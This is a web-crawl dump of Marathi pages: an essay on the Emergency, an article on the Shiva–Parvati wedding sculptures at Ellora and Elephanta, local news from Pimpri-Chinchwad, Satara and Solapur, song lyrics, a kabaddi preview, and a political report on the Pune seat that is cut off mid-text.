संशयावरून अटका झाल्या. जेलमध्ये असताना हा काळ कधी संपणार याची शाश्वती नव्हती. शिवाय, काही राज्यांनी यापूर्वीच अशी पेन्शन योजना सुरू केली आहेच.” माध्यमांची या काळात झालेली गळचेपी, संपादकांनी कोऱ्या ठेवलेल्या अग्रलेखाच्या जागा यांची उदाहरणं तर आजही (आणि ‘आज’ खासकरून) दिली जातात.\nहे मान्य की, स्वातंत्र्यानंतर आणि पाक-चीनशी झालेल्या युद्धांपलीकडे आणीबाणी आणि तिला झालेला विरोध, हा भारतीय लोकशाहीच्या इतिहासातला महत्त्वाचा कालखंड आहे. मात्र, त्यागाच्या पातळीवर मोजायचं म्हटलं, तर संयुक्त महाराष्ट्राचा लढा, तेलंगणा मुक्ती संग्राम, नामांतर लढा अशा विविध राज्यांतील आंदोलनांनाही अशीच फूटपट्टी लावणार का नाही तरी अण्णा हजारेंनी जनलोकपाल आंदोलनालाही ‘आझादी की दुसरी लडाई’ म्हटलं होतंच. राळेगणमध्ये तर अशा ‘स्वतंत्रता सेनानीं’ना प्रमाणपत्रंही वाटली गेली. आज लोकानुनय आणि लोकरंजनवादी राजकारणाचा बोलबाला आहे. जिथं घटनेत तरतूद नसूनही पुढारलेल्या जातींना मागासपणाचे डोहाळे लागतात, अशा आंदोलनांना ‘क्रांती’ वगैरे मानलं जातं, त्यांना आरक्षणाचे आश्वासनही मिळतं. इतकंच काय, पण भाजप-मोदी सरकारला समर्थन किंवा विरोधावर तुम्ही ‘देशभक्त’ किंवा ‘देशद्रोही’ ठरवण्याचं मॉडेल उभं राहत असेल, तर मग भाजपला दर वेळी मतदान करणाऱ्यांना हुडकून त्यांना सामूहिक ‘पद्मश्री’ किंवा ‘लोकशाही रत्न’ पुरस्कार द्यायला काय हरकत आहे\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00448.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://divyamarathi.bhaskar.com/news/MAG-LCL-dr-5916518-NOR.html", "date_download": "2018-09-25T16:35:46Z", "digest": "sha1:PPSRPBBVYTIKCNQBPWZBMYSENN6N3CHA", "length": 16359, "nlines": 150, "source_domain": "divyamarathi.bhaskar.com", "title": "Dr. G. B. Deglurkar write about Caves | पार्वती: कुमारिका आणि विवाहिता", "raw_content": "\nदिव्य मराठी विशेष मधुरिमा\nमधुरिमा रसिक जोक्स हेल्थ-लाइफस्टाइल\nपार्वती: कुमारिका आणि विवाहिता\nकल्याण सुंदर. शिव-पार्वतीच्या विवाहप्रसंगांचे विविध क्षण टिपणारे शिल्पपट. हे दिसतात, वेरुळ येथील कैलास लेण्यात आणि घाराप\nकल्याण सुंदर. शिव-पार्वतीच्या विवाहप्रसंगांचे विविध क्षण टिपणारे शिल्पपट. हे दिसतात, वेरुळ येथील कैलास लेण्यात आणि घारापुरी येथील एलिफंटा लेण्यात. दोन्ही शिल्पांना कलाप्रांतात तोड नाही की जोड नाही....\nसामान्यत: शिवाची पत्नी म्हणून पार्वतीची ओळख आपणा सर्वांस असते. पण ितच्या विविध अाविष्कारांची, अन्य रूपांची काही थोड्याच जणांना कल्पना असते, असे आढळते. ती कुमारी म्हणून आपल्यासमोर येते, तेव्हा तिच्या जिद्दी स्वभावाची ओळख होते. तिला त्या काळात गौरी म्हणून संबोधावे लागते. त्याचे कारण विचारात घेण्यासारखे आहे. ितला शिवाशी विवाह करायचा असतो. ते तसे अवघड काम असते. पण ही ते करायचेच असा निश्चय करून बसते. त्यासाठी घोर तपश्चर्या करायची तिची तयारी असते. या तपश्चर्येला ‘पंचाग्नी साधन’ असे म्हणतात. तिच्या पायाशी मागे-पुढे चार दिशांना चार धगधगती अग्निकुंडे असतात आणि सूर्य माथ्यावरती आग ओतत असतो. हिच्या पायाखाली गोधा (घोरपड) असते. तिचा चिवटपणा आपणास तानाजी मालुसरेच्या सिंहगड विजयाच्या एेतिहासिक घटनेमुळे परिचित झालेला अाहेच. मोठ्या चिवटपणे, जिद्दीने ती तपाचरण करते आणि परीक्षेनंतर शिवाशी तिचा विवाह होतो. ‘गोधासनाभवेद् गौरी’ असे तिचे वर्णन पुराणे करतात. अशी शिल्पेही आढळतात.\nतिच्या विवाहसमयाची फार प्रत्ययकारी शिल्पे उपलब्ध आहेत. अशा प्रसंगातील शिल्पांना ‘कल्याण सुंदर’ असे म्हणतात. अशा दोनच शिल्पांची ओळख येथे करून दिली आहे. एक आहे वेरुळ येथील कैलास लेणीतील आणि दुसरे आहे घारापुरी (एलिफंटा) लेणीतील. कैलास लेणीतील उत्तरेकडील ओवरीच्या पूर्व टोकास एका शिल्पपटातील कल्याणसुंदर - प्रसंग फार मार्मिक पुन:प्रत्ययाचा आनंद प्रेक्षकांना देऊन जाणारा आहे. पौरुषयुक्त शिव उभा आहे, त्याचा हात पार्वतीच्या हातात आहे. नववधू पार्वती या प्रसंगाला शोभेल अशाच साजेशा अवस्थेत उभी आहे. म्हणजे असे, की ती मान खाली घालून अधोवदना आहे, डाव्या गुडघ्यात किंचित वाकलेली म्हणजेच सविनया आहे आणि डाव्या पायाच्या अंगठ्याने उजवा पाय टोकरते आहे, म्हणजेच सलज्जिता आहे. एक काळ असा होता,की निदान विवाहाच्या वेळी तरी स्त्रिया लाजत असत. अशा वेळी त्या अंगठीशी वा पदराशी चाळा करीत, किंवा अधोवदनावस्थेत जमीन टोकरत. येथे पार्वती अशी ‘सलज्जिता’ दिसते आहे. कविकुलगुरू कालिदासाने ‘कुमारसंभव’मध्ये ‘तस्याकरंशैल गुरूपनीतं जग्राहताम्राहुलीम् अष्टमूर्ति:’ असे केले आहे. म्हणजे, विवाहप्रसंगी ‘लाजाहोम’ करण्यासाठी पुरोहित म्हणून खाली बसलेल्या ब्रह्मदेवाने अष्टमूर्ती शिवाच्या हातात तिचा हात दिला. येथे प्रतिभावान कलाकाराचे कौशल्य दिसते, ते त्याने पार्वतीने शिवाचा हात हातात घेतला आहे,असे दाखविण्यात. काही प्रेक्षकांना हे वस्तुस्थितिनिदर्शक वाटत नाही; हे चुकीचे शिल्पांकन वाटते. पण खरे तर हेच वस्तुस्थितिनिदर्शक आहे. कलाकाराला येथे अभिप्रेत आहे ते असे की शिवाच्या प्राप्तीसाठी पार्वतीने पुढाकार घेतला होता, त्यासाठी जीवघेणी घोर तपश्चर्या केली होती, हे दाखविणे. ते त्याने फार मार्मिकपणे प्रत्ययास आणण्याचा यशस्वी प्रयत्न केला आहे, असे वाटते.’\nकल्याणसुंदराची आणखी एक लोभसवाणी प्रतिमा, वर नोंदविल्याप्रमाणे, घारापुरी येथील लेणीत आहे. कलाप्रांतात हिला तोड नाही की जोड नाही. एका मोठ्या शिल्पपटात चंद्र, हिमवान व मेना (पार्वतीचे माता-पिता), शिव-पार्वती, विष्णू, ब्रह्मा इत्यादींच्या प्रतिमा आहेत. यांची मांडणी लक्षवेधी आहे. पटाच्या मधोमध उभे आहेत, शिव-पार्वती हे वधू आणि वर या भूमिकेत. पार्वतीच्या बाजूकडे आहेत,हिमवान आणि मेना तर शिवाच्या बाजूस आहे. स्थानकावस्थेत विष्णू आणि होम करण्यास तत्पर आहे, आसनस्थ ब्रह्मा. पुराणकारांनी पार्वतीचा चित्ताकर्षक देह, आकर्षक सौंदर्य पाहून प्रत्यक्ष ब्रह्मदेवही चळला होता, असे जे वर्णन केले आहे, ते पार्वतीचे विलक्षण सौंदर्य, चारूगात्रीत्व प्रकर्षाने प्रतीत व्हावे त्यासाठी, हे येथे लक्षात घेतले पाहिजे. शिव विरोचितावस्थेत उभा आहे, रुंद खांद्यांचा, पुष्ट मांड्यांचा, माथ्याभोवती प्रभावलय असलेला, नववधू पार्वतीचा ‘कर हा करी’ घेऊन, असा (हात भग्न आहेत). पार्वती अधोवदना तर आहेच, ती तिच्या वयाला साजेशा देहावस्थेत आहे.\nमृगस्तनी, सद्सत्संशयगोचरोदरी आणि कदलीदलवत मांड्यांची. पण विशेष म्हणजे, ती शिवासारखी समोर तोंड करून उभी नाही तर तिरकस म्हणजे थोडी वळलेली आहे; शिवाला सामोरी जाते आहे. म्हणजेच माहेर सोडून सासरच्या वळणावर आहे. ‘वळणावरूनी वळली गाडी, आज सोडला गाव तुझ्याच आई अश्रूसंगे पुसले पहिले नांव तुझ्याच आई अश्रूसंगे पुसले पहिले नांव ’ अशा भावावस्थेत ती उभी आहे. आता ती उमा झाली आहे. येथून पुढे या जोडीची नोंद शिल्पशास्त्रात उमामहेश्वर अशी केली जाते. माहेर सोडून प्रतिगृही जात असलेल्या व्याकूळ झालेल्या कन्येला धीर देण्यासाठी, दिलासा देण्यासाठी तिच्या पाठीशी उभ्या असलेल्या हिमवानाने तिच्या दंडावर हात ठेवलेला दिसतो आहे. (पाठीवर ठेवलेला असता, तर आपणास तो दिसला नसता हे चतुर कलाकाराने जाणले होते. ही शिल्पे पोर्तुगीज सैनिकांनी बंदुकीच्या गोळ्यांनी फोडली असल्याचा इतिहास, आवाज कसा घुमतो हे पाहण्यासाठी. या दोन्ही शिल्पपटातून पार्वती आपल्याला दिसते,अशी की आपल्यासारखीच ती एक कन्या आहे, नववधू आहे, लाजरीबुजरी आहे. मानवी भावभावनाच येथे आढळतात शिल्पित झाल्याच्या, त्यामुळे शिव-पार्वती वा उमामहेश्वर वेगळे वाटतच नाहीत. याचाच अर्थ की रचनेच्या दृष्टीने योग्य अशा या शिल्पपटात स्वाभाविकताही (नॅचरलनेस) साधली गेली आहे. त्यामुळे तिच्यात आपल्याला पाहतात सासुरवाशिणी आणि सासरी निघालेल्या कन्येला पाहतात ते वडील. पुढील भागात पाहूया, पार्वतीचे वैवाहिक जीवन, शिल्पांकित झालेले.\n- डॉ. जी. बी. देगलूरकर\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00448.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://dk5wv51hv3hj1.cloudfront.net/gulmohar/marathi-balsahitya", "date_download": "2018-09-25T17:15:24Z", "digest": "sha1:ER5S73GXH3FHEBRT552DDCWNMKGKQNOT", "length": 3854, "nlines": 93, "source_domain": "dk5wv51hv3hj1.cloudfront.net", "title": "हितगुज ग्रूप: गुलमोहर - बालसाहित्य | Marathi Childrens Literature | Marathi Balsahitya | Maayboli", "raw_content": "\nगुलमोहर - बालवाचकांसाठी साहित्यलेखन\nबालनाटिका : मोबाईल नंतर वाचा. . . लेखनाचा धागा\nआत्याबाईंच्या गोष्टी ३ लेखनाचा धागा\nकथा - उंटांची खोड मोडली वाहते पान\nअति लोभाचे फळ वाहते पान\nकिशोर मासिक : बालपणी च्या आठवणी लेखनाचा धागा\nअभ्यासाचे तंत्र कसे विकसित कराल \nचोरीला शिक्षा वाहते पान\nOct 8 2017 - 3:54am दत्तात्रय साळुंके\nवेडा मुग्गा, शाना मुग्गा ... (वेडी मुग्गी, शानी मुग्गी..) लेखनाचा धागा\nपावसाची गम्मत लेखनाचा धागा\nबाळ आणि चिऊताई लेखनाचा धागा\nबाळाची आई लेखनाचा धागा\nचिमणी वाचवा निसर्ग वाचवा लेखनाचा धागा\nसत्याला मरण नाही. लेखनाचा धागा\nबिट्टूची शाळा लेखनाचा धागा\nअंगाई.... चांदोमामा लेखनाचा धागा\nमे 24 2017 - 12:06pm पुरंदरे शशांक\nससुल्याची गंमत लेखनाचा धागा\nमे 24 2017 - 11:23am पुरंदरे शशांक\nनवीन खाते उघडून मायबोलीकर व्हा\nनवीन परवलीचा शब्द मागवा\nया ग्रूपचे सभासद व्हा\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00448.warc.wet.gz", "language": "mr", "language_score": 0.91, "bucket": "all"} {"url": "http://pclive7.com/%E0%A4%B5%E0%A5%8D%E0%A4%AF%E0%A4%BE%E0%A4%AF%E0%A4%BE%E0%A4%AE-%E0%A4%95%E0%A4%B8%E0%A4%BE-%E0%A4%B2%E0%A4%95%E0%A5%8D%E0%A4%B7%E0%A5%8D%E0%A4%AE%E0%A4%A3%E0%A4%AD%E0%A4%BE%E0%A4%8A%E0%A4%82%E0%A4%B8/", "date_download": "2018-09-25T18:00:29Z", "digest": "sha1:URQO4PU7KISKYPO4WRQMUE7HLEERLRQI", "length": 4941, "nlines": 69, "source_domain": "pclive7.com", "title": "व्यायाम कसा लक्ष्मणभाऊंसारखा..! (पहा व्हिडीओ) | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nHome पिंपरी-चिंचवड व्यायाम कसा लक्ष्मणभाऊंसारखा..\nपिंपरी (Pclive7.com):- राजकारण म्हंटल की व्यस्त वेळापत्रक…पण अशा व्यस्त वेळापत्रकातही आरोग्याकडे लक्ष देण्याची गरज असते…पिंपरी चिंचवड चे भाजप शहराध्यक्ष लक्ष्मण जगताप हेच दाखवून देत आहेत…\nTags: bjpmlaPCLIVE7.COMPcmc newsआमदारचिंचवडपिंपरीफिटनेसभाजपालक्ष्मण जगतापव्यायाम\nमहापालिकेचा अर्थसंकल्प ‘व्हिजन २०-२०′ ला समरुप – महेश लांडगे\nपिंपरी चिंचवडचे प्रश्न या अधिवेशनात सुटणार \nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00449.warc.wet.gz", "language": "mr", "language_score": 0.87, "bucket": "all"} {"url": "http://www.ganimarathi.com/2017/07/blog-post.html", "date_download": "2018-09-25T17:56:12Z", "digest": "sha1:RWPAIQ5RF6YQORGMOVVDBMMJNHQBVCFG", "length": 4328, "nlines": 131, "source_domain": "www.ganimarathi.com", "title": "मराठी कविता आणि गाणी: अग ऐक ना - मुरांबा", "raw_content": "मराठी कविता आणि गाणी\nअग ऐक ना - मुरांबा\nरुसवा फुगवा सोड ना\nजा चालता हो किती बोर आहेस\nसिरियसनेस नाही तुला किती छजोर आहेस\nकरू नको ना त्रागा माय फेव्हरेट इंदू\nलव्ह स्टोरी चा सागा मला नको ना निंदू\nअरे जा घरी जा ना... जा ना\nअग ऐक ना जरासच बसतेस का\nअग ऐक ना जरासच हसतेस का\nए चल जा चल\nटपोऱ्या डोळ्यांचा हा चिडका बिब्बा\nझोन हा तुझा तू सोड ना\nकान्ट लिव्ह विदाऊट यु तू श्वास माझा\nसारे जुने क्लिशे फोड ना\nमेड फॉर इच अदर चा एक दस्तुर आहे\nराग खरतर वर दिसतो आत हुरहुर आहे ग\nएफबी मेसेज सारखा पॉपअप हो ना\nजस्टिन बिबर सारखा पम्पअप हो ना\nअग जा घरी जा ना\nअरे ऐक ना जरा बसतोस का\nरुसवा फुगवा सोड ना जरा हसतोस का\nस्वर - आनंदी जोशी, रोहित राऊत\nशब्द - जितेंद्र जोशी\nसंगीत - शैलेंद्र बर्वे\nश्रावण मासी हर्ष मानसी\nराजा शिवछत्रपती मालिकेचे शीर्षकगीत\nनवरी आली - तुझ्या माझ्या संसाराला आणि काय हवे\nआताशा.. असे हे - आयुष्यावर बोलू काही\nतुझ्या रूपाच - ख्वाडा\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00450.warc.wet.gz", "language": "mr", "language_score": 0.73, "bucket": "all"} {"url": "http://www.pudhari.news/news/Satara/fire-cosmetic-shop-in-satara-district-phaltan-taluka/", "date_download": "2018-09-25T16:55:41Z", "digest": "sha1:7RUYJL7LRVG4PLMOJJVXABXL2C4M2MZK", "length": 4242, "nlines": 37, "source_domain": "www.pudhari.news", "title": " फलटण : कॉस्मेटिकसच्या दुकानाला भीषण आग | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Satara › फलटण : कॉस्मेटिकसच्या दुकानाला भीषण आग\nफलटण : कॉस्मेटिकसच्या दुकानाला भीषण आग\nफलटण(जि. सातारा) : प्रतिनिधी\nफलटण-शिंगणापूर रोड येथील रामराजे शॉपिंग सेंटर समोरील साई कॉस्मेटिक या दुकानाला शनीवारी (दि. १४) मध्यरात्री 2.30 च्या सुमारास भीषण आग लागली. यामध्ये लाखो रुपयांचे नुकसान झाले आहे.\nशिंगणापूर रोड येथील साई कॉस्मेटिकला शॉर्ट सर्किटमुळे आग लागली. ही आग लक्षात येताच तेथील घोलप कुटुंबातील लोकांनी व स्थानिक नागरिकांनी पोलिसांना याबाबत माहिती दिली. यानंतर फलटण नगरपरिषदचे अग्निशमन दल दाखल झाले. मात्र, ही आग मोठ्या प्रमाणात असल्‍याने पहाटे 5 पर्यंत आगीवर नियंत्रण मिळवता आले नाही.\nसाई कॉस्मेटिक पूर्णपणे आगीच्या भक्ष्यस्थानी पडले असून, लाखो रुपयांचे नुकसान झाले आहे. तर, शेजारच्या ओम रेफ्रिजरेटर व गणेश ऑटो गॅरेजलाही आग लागली. पोलिसांनी या घटनेचा पंचनामा न केल्याने नक्की नुकसान किती झाले हे समजले नाही.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00450.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.pudhari.news/news/Solapur/criminal-arrested-in-solapur/", "date_download": "2018-09-25T17:11:28Z", "digest": "sha1:SUWMLHPX2MH3TCZ43OQFFV4KJIHDSBWQ", "length": 6117, "nlines": 38, "source_domain": "www.pudhari.news", "title": " सराईत गुन्हेगारास अटक; 7 घरफोड्या उघडकीस | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Solapur › सराईत गुन्हेगारास अटक; 7 घरफोड्या उघडकीस\nसराईत गुन्हेगारास अटक; 7 घरफोड्या उघडकीस\nशहर गुन्हे शाखेच्या पोलिसांनी घरफोडी करणार्‍या अट्टल गुन्हेगारास अटक करुन त्याच्याकडून 7 घरफोड्या उघडकीस आणल्या. या गुन्हेगाराकडून 7 घरफोड्यांमधील 63 हजार 100 रुपयांचा मुद्देमाल जप्त करण्यात आला आहे.\nप्रल्हाद भोजप्पा चव्हाण (वय 47, रा. तळेहिप्परगा, ता. उत्तर सोलापूर) असे अटक करण्यात आलेल्याचे नाव आहे. या गुन्हेगाराकडून फौजदार चावडी पोलिस ठाण्याच्या हद्दीतील 5 आणि जोडभावी पेठ पोलिस ठाण्यातील 2 घरफोड्या उघडकीस आल्या आहेत.\nरेकॉर्डवरील अट्टल गुन्हेगार प्रल्हाद चव्हाण हा तुळजापूर रोडवरील हिप्परगा क्रॉस रोडवर येणार असल्याची माहिती शहर गुन्हे शाखेच्या पोलिसांना मिळाल्याने पोलिसांनी चव्हाण यास ताब्यात घेऊन त्याच्याकडे चौकशी केली.\nत्यावेळी चव्हाण याने आपल्या 5 साथीदारांच्या मदतीने गेल्या 5-6 वर्षांपूर्वी फौजदार चावडी पोलिस ठाण्यात 5 ठिकाणी व जोडभावी पेठ पोलिस ठाण्यातील 2 ठिकाणी घरफोड्या केल्याचे कबूल करून ज्याठिकाणी घरफोडी केली ती ठिकाणे पोलिस पथकाला दाखवून दिली.\nया विविध ठिकाणांहून चोरलेल्या दोन डिवॉल्ट कंपनीच्या पिवळ्या रंगाच्या ग्राइंटर मशीन, निळ्या-हिरव्या-पिवळ्या रंगाच्या 3 ड्रील मशीन, हिरव्या रंगाचे प्लायवुड कटर मशीन, 20 किलो तांब्याची तार, 5 पितळी डबे, रोख रक्‍कम व 6 घरगुती वापराची गॅस सिलेंडर असा 63 हजार 100 रुपयांचा ऐवज चव्हाण याच्याकडून पोलिसांनी जप्त केला आहे.\nही कारवाई पोलिस आयुक्‍त महादेव तांबडे, पोलिस निरीक्षक सूर्यकांत पाटील यांच्या मार्गदर्शनाखाली सहायक पोलिस निरीक्षक बाळासाहेब शिंदे, हवालदार संजय बायस, दगडू राठोड, सुभाष पवार, राकेश पाटील, जयसिंग भोई, मंगेश भुसारे, संतोष फुटाणे, पोलिस शिपाई वसंत माने यांनी केली.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00450.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://mahasports.co.in/puneri-paltan-vs-dabang-delhi-pune-leg/", "date_download": "2018-09-25T17:01:21Z", "digest": "sha1:NGMSKVTDCAZUNJ2RKIPGYUMO5SU4LWOM", "length": 7550, "nlines": 59, "source_domain": "mahasports.co.in", "title": "काहीही गमावण्यासारखे नसलेल्या दिल्लीसमोर पुण्याचे आव्हान -", "raw_content": "\nकाहीही गमावण्यासारखे नसलेल्या दिल्लीसमोर पुण्याचे आव्हान\nकाहीही गमावण्यासारखे नसलेल्या दिल्लीसमोर पुण्याचे आव्हान\nकाल प्रो कबड्डीमध्ये पुणे लेगच्या दुसऱ्या दिवशी पुणेरी पलटणने यु मुंबाचा खूप मोठा पराभव केला. आज पुणे लेगच्या तिसऱ्या दिवशी पुणेरी पलटण समोर गमावण्यास काही शिल्लक नसलेल्या दबंग दिल्लीचे आव्हान असणार आहे.\nमागील चारही मोसमाप्रमाणे दबंग दिल्ली या मोसमात देखील सेमी फायनलमध्ये किंवा प्ले ऑफमध्ये स्थान मिळवण्यात अपयशी ठरली आहे. प्रो कबड्डीच्या या मोसमात सर्वात कमी ५ सामने या संघाने जिकंले आहेत. आजच्या सामन्यात मेराज शेख, अबोफझल, निलेश शिंदे यांच्याकडून खूप अपेक्षा असणार आहेत. हा सामना जिंकून या स्पर्धेचा शेवट गोड करण्याच्या हेतूने दबंग दिल्ली मैदानात उतरेल.\nपुणेरी संघाचा मागील सामन्यातील खेळ खूप जबरदस्त झाला होता. आजच्या सामन्यात देखील त्यांच्याकडून त्याच प्रकारच्या खेळाची अपेक्षा असणार आहे. मुंबा विरुद्धच्या सामन्यात स्नायू दुखावल्यामुळे संदीप नरवाल याला बदली केले होते या सामन्यात तो पूर्ण तंदुरुस्तीने मैदानात उतरेल अशी अशा आहे. पुणेरी पलटणचा संघाला चांगली लय गवसली आहे. या संघाचे सर्व रेडर आणि डिफेंडर लयीत आहेत.\nडिफेन्समध्ये गिरीश एर्नेक आणि धर्मराज चेरलाथन हे उत्तम कामगिरी करत आहते. बदली खेळाडू म्हणून मैदानात उतरलेल्या रिंकू नरवाल याने देखील आपली क्षमता दाखवून दिली आहे. त्यामुळे या सामन्यात देखील विजयाची जास्त संधी पुणेरी संघाला असणार आहे.\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\nकर्णधारपद रोहित शर्मासाठी ठरतयं फलदायी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00450.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://www.loksatta.com/pune-news/congress-attack-ncp-after-ajit-pawar-declare-to-contest-pune-constituency-1663347/", "date_download": "2018-09-25T17:16:27Z", "digest": "sha1:ZQOT7TCOR3RGXMY2TX7FUB3JZNYCNTO4", "length": 15407, "nlines": 204, "source_domain": "www.loksatta.com", "title": "congress attack ncp after ajit pawar declare to contest pune constituency | अजितदादांच्या लोकसभेच्या घोषणेनंतर दोन्ही काँग्रेसचा एकमेकांवर ‘हल्लाबोल’ | Loksatta", "raw_content": "\nकाँग्रेस महाआघाडीत बसपलाही घेण्याचा प्रयत्न\nअतिरिक्त विजेपोटी ३८५० कोटी रुपयांचा भुर्दंड\nली चोंग वेईला नाकाचा कर्करोग\n‘डीजे मुक्त’ मिरवणुकीसाठी पोलिसांची खास पथके\nनोटाबंदीने सामान्य माणूस उद्ध्वस्त- विखे\nअजितदादांच्या लोकसभेच्या घोषणेनंतर दोन्ही काँग्रेसचा एकमेकांवर ‘हल्लाबोल’\nअजितदादांच्या लोकसभेच्या घोषणेनंतर दोन्ही काँग्रेसचा एकमेकांवर ‘हल्लाबोल’\nपुणे लोकसभा निवडणुकीसाठी राष्ट्रवादी काँग्रेसकडे सक्षम उमेदवार आहे.\nपुणे लोकसभेची जागा राष्ट्रवादी काँग्रेस लढवणार असल्याची घोषणा अजित पवार यांनी केल्यानंतर काँग्रेस आणि राष्ट्रवादी काँग्रेसकडून एकमेकांवर शाब्दिक ‘हल्लाबोल’ सुरू झाला आहे. लोकसभेच्या जागेवर आमचाच हक्क असल्याचा दावा करत ही जागा राष्ट्रवादी काँग्रेसला सोडणार नाही, अशी ठाम भूमिका काँग्रेसने घेतली आहे. मात्र लोकसभेसाठी उमेदवार कोण, याबाबत पक्षात चर्चा सुरू झाली असून पुण्यात राष्ट्रवादीची ताकद काँग्रेसपेक्षा जास्त असल्यामुळे आम्हीच ही जागा लढवणार असा पुनरुच्चार राष्ट्रवादी काँग्रेसकडून करण्यात आला आहे.\nभारतीय जनता पक्षाच्या 